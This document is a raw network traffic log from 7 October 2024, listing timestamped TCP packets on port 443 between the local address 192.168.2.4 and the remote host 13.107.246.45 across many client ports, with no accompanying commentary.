Oct 7, 2024 18:44:14.899056911 CEST	443	53743	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.899108887 CEST	443	53743	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.899147987 CEST	53743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.899208069 CEST	53743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.899487019 CEST	53743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.899507999 CEST	443	53743	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.899518967 CEST	53743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.899523973 CEST	443	53743	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.903091908 CEST	53748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.903131008 CEST	443	53748	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.903222084 CEST	53748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.903402090 CEST	53748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.903415918 CEST	443	53748	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.978369951 CEST	443	53745	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.979026079 CEST	53745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.979060888 CEST	443	53745	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.979563951 CEST	53745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.979572058 CEST	443	53745	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.991028070 CEST	443	53744	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.991208076 CEST	443	53744	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.991425991 CEST	53744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.997658968 CEST	53744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.997658968 CEST	53744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.997708082 CEST	443	53744	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.997733116 CEST	443	53744	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.032632113 CEST	53749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.032670021 CEST	443	53749	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.032816887 CEST	53749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.033093929 CEST	53749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.033104897 CEST	443	53749	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.075182915 CEST	443	53745	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.076231956 CEST	443	53745	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.076380968 CEST	53745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.076735973 CEST	53745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.076757908 CEST	443	53745	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.076771021 CEST	53745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.076776028 CEST	443	53745	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.079910040 CEST	53750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.079946041 CEST	443	53750	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.080028057 CEST	53750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.080172062 CEST	53750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.080183029 CEST	443	53750	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.297950983 CEST	443	53746	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.338855028 CEST	443	53747	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.349292040 CEST	53746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.380523920 CEST	53747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.547094107 CEST	53746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.547123909 CEST	443	53746	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.547636986 CEST	53746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.547641993 CEST	443	53746	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.550045013 CEST	53747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.550072908 CEST	443	53747	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.550456047 CEST	53747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.550460100 CEST	443	53747	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.590198994 CEST	443	53748	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.596055984 CEST	53748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.596075058 CEST	443	53748	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.617202997 CEST	53748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.617209911 CEST	443	53748	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.639301062 CEST	443	53746	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.639395952 CEST	443	53746	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.639462948 CEST	53746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.643300056 CEST	443	53747	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.643336058 CEST	443	53747	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.643378973 CEST	53747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.643399000 CEST	443	53747	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.643439054 CEST	53747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.647795916 CEST	443	53749	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.649852991 CEST	53746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.649852991 CEST	53746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.649883986 CEST	443	53746	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.649919033 CEST	443	53746	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.650266886 CEST	53747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.650290966 CEST	443	53747	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.650301933 CEST	53747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.650306940 CEST	443	53747	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.658088923 CEST	53749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.658097029 CEST	443	53749	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.658940077 CEST	53749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.658945084 CEST	443	53749	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.714710951 CEST	53751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.714755058 CEST	443	53751	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.714840889 CEST	53751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.715934992 CEST	53751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.715944052 CEST	443	53751	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.718251944 CEST	53752	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.718296051 CEST	443	53752	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:15.718410969 CEST	53752	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.718591928 CEST	53752	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:15.718605042 CEST	443	53752	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.398267031 CEST	443	53748	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.398338079 CEST	443	53748	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.398412943 CEST	53748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.398705959 CEST	53748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.398730040 CEST	443	53748	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.398742914 CEST	53748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.398747921 CEST	443	53748	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.399935007 CEST	443	53750	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.401722908 CEST	53753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.401750088 CEST	53750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.401762962 CEST	443	53753	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.401765108 CEST	443	53750	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.401824951 CEST	53753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.401972055 CEST	53753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.401982069 CEST	443	53753	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.402218103 CEST	53750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.402223110 CEST	443	53750	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.574923038 CEST	443	53749	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.574954987 CEST	443	53749	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.575022936 CEST	53749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.575030088 CEST	443	53749	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.575043917 CEST	443	53749	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.575093985 CEST	53749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.575330019 CEST	53749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.575342894 CEST	443	53749	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.575352907 CEST	53749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.575359106 CEST	443	53749	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.579113007 CEST	53754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.579185963 CEST	443	53754	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.579396009 CEST	53754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.579607964 CEST	53754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.579626083 CEST	443	53754	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.630156994 CEST	443	53750	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.630327940 CEST	443	53750	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.630600929 CEST	53750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.630949020 CEST	53750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.630966902 CEST	443	53750	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.630980015 CEST	53750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.630989075 CEST	443	53750	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.634723902 CEST	53755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.634766102 CEST	443	53755	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:16.635035038 CEST	53755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.635202885 CEST	53755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:16.635216951 CEST	443	53755	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.089005947 CEST	443	53751	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.090034962 CEST	53751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.090055943 CEST	443	53751	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.090606928 CEST	53751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.090611935 CEST	443	53751	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.099519968 CEST	443	53753	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.102015972 CEST	53753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.102068901 CEST	443	53753	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.102500916 CEST	53753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.102509975 CEST	443	53753	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.117465019 CEST	443	53752	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.121865988 CEST	53752	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.121891022 CEST	443	53752	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.122364044 CEST	53752	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.122368097 CEST	443	53752	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.185000896 CEST	443	53751	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.185126066 CEST	443	53751	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.185316086 CEST	53751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.185523987 CEST	53751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.185538054 CEST	443	53751	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.185548067 CEST	53751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.185551882 CEST	443	53751	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.188779116 CEST	53756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.188828945 CEST	443	53756	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.188910007 CEST	53756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.189069986 CEST	53756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.189083099 CEST	443	53756	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.197876930 CEST	443	53753	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.197901964 CEST	443	53753	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.197949886 CEST	443	53753	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.197978973 CEST	53753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.198009014 CEST	53753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.198182106 CEST	53753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.198201895 CEST	443	53753	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.198215008 CEST	53753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.198220015 CEST	443	53753	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.200848103 CEST	53757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.200902939 CEST	443	53757	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.200984955 CEST	53757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.201122046 CEST	53757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.201142073 CEST	443	53757	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.217804909 CEST	443	53752	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.217888117 CEST	443	53752	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.217993021 CEST	53752	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.218281031 CEST	53752	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.218281031 CEST	53752	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.218329906 CEST	443	53752	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.218365908 CEST	443	53752	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.221054077 CEST	53758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.221103907 CEST	443	53758	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.221183062 CEST	53758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.221385956 CEST	53758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.221405029 CEST	443	53758	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.242413998 CEST	443	53754	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.242894888 CEST	53754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.242911100 CEST	443	53754	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.243410110 CEST	53754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.243413925 CEST	443	53754	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.290781021 CEST	443	53755	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.293946028 CEST	53755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.293972969 CEST	443	53755	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.294469118 CEST	53755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.294475079 CEST	443	53755	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.339380980 CEST	443	53754	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.339680910 CEST	443	53754	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.339762926 CEST	53754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.340012074 CEST	53754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.340033054 CEST	443	53754	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.340044975 CEST	53754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.340049982 CEST	443	53754	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.343487978 CEST	53759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.343528986 CEST	443	53759	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.343610048 CEST	53759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.343758106 CEST	53759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.343767881 CEST	443	53759	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.395198107 CEST	443	53755	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.395277977 CEST	443	53755	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.395425081 CEST	53755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.395814896 CEST	53755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.395814896 CEST	53755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.395833969 CEST	443	53755	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.395844936 CEST	443	53755	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.399096966 CEST	53760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.399138927 CEST	443	53760	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.399224997 CEST	53760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.399377108 CEST	53760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.399394035 CEST	443	53760	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.842951059 CEST	443	53757	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.843473911 CEST	443	53756	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.843755007 CEST	53757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.843801022 CEST	443	53757	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.843921900 CEST	53756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.843939066 CEST	443	53756	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.844319105 CEST	53757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.844331026 CEST	443	53757	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.844391108 CEST	53756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.844398975 CEST	443	53756	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.849724054 CEST	443	53758	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.850162029 CEST	53758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.850200891 CEST	443	53758	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.850603104 CEST	53758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.850610971 CEST	443	53758	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.938931942 CEST	443	53757	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.939116955 CEST	443	53757	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.939166069 CEST	443	53757	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.939183950 CEST	53757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.939230919 CEST	53757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.939462900 CEST	53757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.939462900 CEST	53757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.939496040 CEST	443	53757	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.939516068 CEST	443	53757	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.942164898 CEST	443	53756	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.942240000 CEST	443	53756	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.942394972 CEST	53756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.942509890 CEST	53756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.942527056 CEST	443	53756	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.942538023 CEST	53756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.942543030 CEST	443	53756	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.943700075 CEST	53761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.943742990 CEST	443	53761	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.943833113 CEST	53761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.945342064 CEST	53761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.945357084 CEST	443	53761	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.946620941 CEST	443	53758	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.946799994 CEST	53762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.946819067 CEST	443	53762	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.946926117 CEST	53762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.946954012 CEST	443	53758	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.947027922 CEST	53758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.947077036 CEST	53762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.947086096 CEST	443	53762	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.947103977 CEST	53758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.947124004 CEST	443	53758	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.947140932 CEST	53758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.947148085 CEST	443	53758	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.949492931 CEST	53763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.949534893 CEST	443	53763	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:17.949636936 CEST	53763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.949764967 CEST	53763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:17.949776888 CEST	443	53763	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.009962082 CEST	443	53759	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.010763884 CEST	53759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.010782003 CEST	443	53759	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.011282921 CEST	53759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.011291981 CEST	443	53759	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.044238091 CEST	443	53760	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.044974089 CEST	53760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.044998884 CEST	443	53760	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.045507908 CEST	53760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.045514107 CEST	443	53760	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.108999968 CEST	443	53759	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.109955072 CEST	443	53759	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.110017061 CEST	53759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.110050917 CEST	53759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.110068083 CEST	443	53759	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.110076904 CEST	53759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.110083103 CEST	443	53759	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.114202023 CEST	53764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.114243984 CEST	443	53764	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.114320993 CEST	53764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.114571095 CEST	53764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.114584923 CEST	443	53764	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.145051003 CEST	443	53760	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.145951986 CEST	443	53760	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.146013975 CEST	53760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.146049023 CEST	53760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.146068096 CEST	443	53760	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.146079063 CEST	53760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.146084070 CEST	443	53760	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.149442911 CEST	53765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.149528027 CEST	443	53765	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.149688005 CEST	53765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.149840117 CEST	53765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.149866104 CEST	443	53765	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.771822929 CEST	443	53762	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.772587061 CEST	53762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.772639036 CEST	443	53762	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.773202896 CEST	53762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.773211002 CEST	443	53762	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.865345955 CEST	443	53763	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.865565062 CEST	443	53761	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.866161108 CEST	53763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.866193056 CEST	443	53763	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.866492033 CEST	53761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.866533995 CEST	443	53761	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.866796970 CEST	53763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.866801977 CEST	443	53763	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.866894960 CEST	443	53762	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.866945028 CEST	53761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.866954088 CEST	443	53761	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.867115021 CEST	443	53762	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.867208958 CEST	53762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.867264032 CEST	53762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.867283106 CEST	443	53762	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.867292881 CEST	53762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.867297888 CEST	443	53762	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.871026993 CEST	53766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.871063948 CEST	443	53766	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.871129990 CEST	53766	443	192.168.2.4	13.107.246.45
